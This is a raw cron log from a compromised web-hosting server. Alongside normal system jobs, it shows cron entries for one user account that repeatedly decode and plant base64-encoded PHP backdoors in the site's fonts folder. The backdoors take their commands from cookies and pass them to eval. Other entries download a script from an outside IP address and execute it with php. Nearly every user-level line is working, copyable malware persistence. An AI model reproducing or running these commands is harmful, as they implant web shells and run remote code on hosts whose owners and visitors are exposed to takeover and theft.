Sep  3 20:52:02 ip-184-168-122-23 CROND[30494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:53:01 ip-184-168-122-23 CROND[30574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:53:01 ip-184-168-122-23 CROND[30576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:53:01 ip-184-168-122-23 CROND[30577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:53:01 ip-184-168-122-23 CROND[30578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:54:01 ip-184-168-122-23 CROND[30651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:54:01 ip-184-168-122-23 CROND[30653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:54:01 ip-184-168-122-23 CROND[30657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:54:01 ip-184-168-122-23 CROND[30659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:54:01 ip-184-168-122-23 CROND[30660]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:55:01 ip-184-168-122-23 CROND[30747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:55:01 ip-184-168-122-23 CROND[30748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:55:01 ip-184-168-122-23 CROND[30752]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:55:01 ip-184-168-122-23 CROND[30753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:55:01 ip-184-168-122-23 CROND[30751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:55:01 ip-184-168-122-23 CROND[30754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:56:01 ip-184-168-122-23 CROND[30912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:56:01 ip-184-168-122-23 CROND[30914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:56:01 ip-184-168-122-23 CROND[30915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:56:01 ip-184-168-122-23 CROND[30919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:56:01 ip-184-168-122-23 CROND[30920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:57:01 ip-184-168-122-23 CROND[31277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:57:01 ip-184-168-122-23 CROND[31279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:57:01 ip-184-168-122-23 CROND[31281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:57:01 ip-184-168-122-23 CROND[31282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:58:01 ip-184-168-122-23 CROND[31420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:58:01 ip-184-168-122-23 CROND[31423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:58:01 ip-184-168-122-23 CROND[31421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:58:01 ip-184-168-122-23 CROND[31424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:58:01 ip-184-168-122-23 CROND[31422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:59:01 ip-184-168-122-23 CROND[31517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:59:01 ip-184-168-122-23 CROND[31516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:59:01 ip-184-168-122-23 CROND[31518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:59:01 ip-184-168-122-23 CROND[31519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31604]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:00:01 ip-184-168-122-23 CROND[31612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:00:01 ip-184-168-122-23 CROND[31614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:00:01 ip-184-168-122-23 CROND[31613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:01:01 ip-184-168-122-23 CROND[31721]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31721]: starting 0anacron
Sep  3 21:01:01 ip-184-168-122-23 CROND[31727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:01:01 ip-184-168-122-23 CROND[31728]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:01:01 ip-184-168-122-23 CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:01:01 ip-184-168-122-23 CROND[31730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:01:01 ip-184-168-122-23 CROND[31733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31742]: finished 0anacron
Sep  3 21:02:01 ip-184-168-122-23 CROND[31910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:02:01 ip-184-168-122-23 CROND[31912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:02:01 ip-184-168-122-23 CROND[31915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:02:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:02:01 ip-184-168-122-23 CROND[31916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:03:01 ip-184-168-122-23 CROND[31990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:03:01 ip-184-168-122-23 CROND[31992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:03:01 ip-184-168-122-23 CROND[31993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:03:01 ip-184-168-122-23 CROND[31994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:04:01 ip-184-168-122-23 CROND[32071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 21:04:01 ip-184-168-122-23 CROND[32073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:04:01 ip-184-168-122-23 CROND[32074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 21:04:01 ip-184-168-122-23 CROND[32075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 21:04:01 ip-184-168-122-23 CROND[32076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
